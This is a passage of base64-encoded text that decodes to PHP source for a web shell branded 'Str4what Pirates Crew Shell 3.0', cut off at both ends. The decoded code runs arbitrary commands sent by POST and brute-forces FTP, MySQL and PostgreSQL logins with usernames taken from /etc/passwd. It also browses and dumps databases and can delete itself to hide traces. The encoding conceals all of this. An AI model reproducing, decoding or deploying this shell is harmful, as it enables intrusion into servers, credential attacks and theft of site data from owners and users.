eWxlPSJib3JkZXItYm90dG9tOjA7IiByZWFkb25seT4nOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOw0KICAgIH0NCiAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlci10b3A6MDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij4nOw0KICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgew0KICAgIHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KICAgIGVjaG8gJw0KICAgIDwhLS1TdHI0d2hhdCBQaXJhdGVzIENyZXcgU2hlbGwgMy4wLS0+DQogICAgPCEtLVJlY29kZWQgYnkgU3RyNHdoYXQgWnliM3ItLT4NCg0KDQogICAgPHNjcmlwdD5hbGVydCgiTG9nb3V0IFN1Y2Nlc3NmdWwiKTwvc2NyaXB0Pg0KICAgIDxib2R5IGJnY29sb3I9I2ZmZmZmZj48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vb2k0Mi50aW55cGljLmNvbS8yemdjbHo1LmpwZyI+PC9jZW50ZXI+DQogICAgPEgxPjxjZW50ZXI+PHAgc3R5bGU9ImNvbG9yOiAjREYwMTAxIiA+U3RyNHdoYXQgUGlyYXRlcyBDcmV3IFByMXZhdGUgU2hlbGwgMy4wPC9wPjwvSDE+DQogICAgPGNlbnRlcj4NCjxpZnJhbWUgc3JjPSJodHRwOi8vd3d3LmZhY2Vib29rLmNvbS9wbHVnaW5zL2xpa2Vib3gucGhwPw0KaHJlZj1odHRwczovL3d3dy5mYWNlYm9vay5jb20vU3RyNHdoYXRQaXJhdGVzUmVjcnVpdG1lbnRab25lLmdvdiZhbXA7d2lkdGg9MjYwJmFtcDtjb2xvcnNjaGUNCm1lPWxpZ2h0JmFtcDtzaG93X2ZhY2VzPXRydWUmYW1wO2JvcmRlcl9jb2xvcj0NCiUyM2ZmZiZhbXA7c3RyZWFtPWZhbHNlJmFtcDtoZWFkZXI9ZmFsc2UmYW1wO2hlaWdodD0xMDAiIHNjcm9sbGluZz0ibm8iIA0KZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJiYWNrZ3JvdW5kOnRyYW5zcGFyZW50OyBib3JkZXI6bm9uZTsgb3ZlcmZsb3c6aGlkZGVuOyB3aWR0aDoyMDBweDsgDQpoZWlnaHQ6MTAwcHg7IiBhbGxvd3RyYW5zcGFyZW5jeT0idHJ1ZSI+PC9pZnJhbWU+PC9jZW50ZXI+DQogICAgPEgzPjxjZW50ZXI+PHAgc3R5bGU9ImNvbG9yOiAjNTg1ODU4IiA+fCBTdHJhd2hhdCBMdWZmeSB8IFN0cmF3aGF0IDRjZSB8IFN0cmF3aGF0IENob3BwM3IgfCBTdHJhd2hhdCBSZWQgfDxicj4NCiAgICB8IFN0cmF3aGF0IEZpemNoZSB8IFN0cmF3aGF0IGJybzBrIHwgU3RyNHdoYXQtIFp5YmVyIHwgU3RyYXdoYXQgWm9ycm9yIHwgU3RyNHdoYXQtTmFtaSB8IFN0cmF3aGF0IExleXRlX1ByMWQzIHwgU3RyNHdoYXQtTDR3IHw8L3A+PC9IMz48L2JvZHk+JzsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgew0KICAgICAgICBpZihAdW5saW5rKFNFTEZfUEFUSCkpDQogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7DQogICAgfQ0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7DQogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsNCiAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsNCiAgICAgICAgICAgICAgICBpZighJGZwKSByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT0nJyI7DQogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHN1Y2Nlc3MgPSAwOw0KICAgICAgICAkYXR0ZW1wdHMgPSAwOw0KICAgICAgICAkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOw0KICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAxKSB7DQogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7DQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICRsaW5lWzBdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk+PTA7IC0tJGkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gMikgew0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7DQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkNCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7DQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZSgkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8c3Bhbj5BdHRlbXB0czo8L3NwYW4+ICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bhbj4gJHN1Y2Nlc3M8L2Rpdj48YnI+IjsNCiAgICB9DQogICAgZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJMZXl0ZV9QcjFkMyI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOw0KICAgIGVjaG8gJzwvZGl2Pjxicj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCiAgICBjbGFzcyBEYkNsYXNzIHsNCiAgICAgICAgdmFyICR0eXBlOw0KICAgICAgICB2YXIgJGxpbms7DQogICAgICAgIHZhciAkcmVzOw0KICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7DQogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gZmV0Y2goKSB7DQogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX2xpc3RfZGJzKCR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlICh0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZycpIG9yIHRhYmxlX25hbWUgPSAncGdfdXNlciciKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGNyZWF0ZVsxXS4iO1xuXG4iOw0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgfTsNCiAgICAkZGIgPSBuZXcgRGJDbGFzcyhAJF9QT1NUWyd0eXBlJ10pOw0KICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCiAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCiAgICA8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgPHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkPlR5cGU8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5Ib3N0PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+TG9naW48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5QYXNzd29yZDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPkRhdGFiYXNlPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuI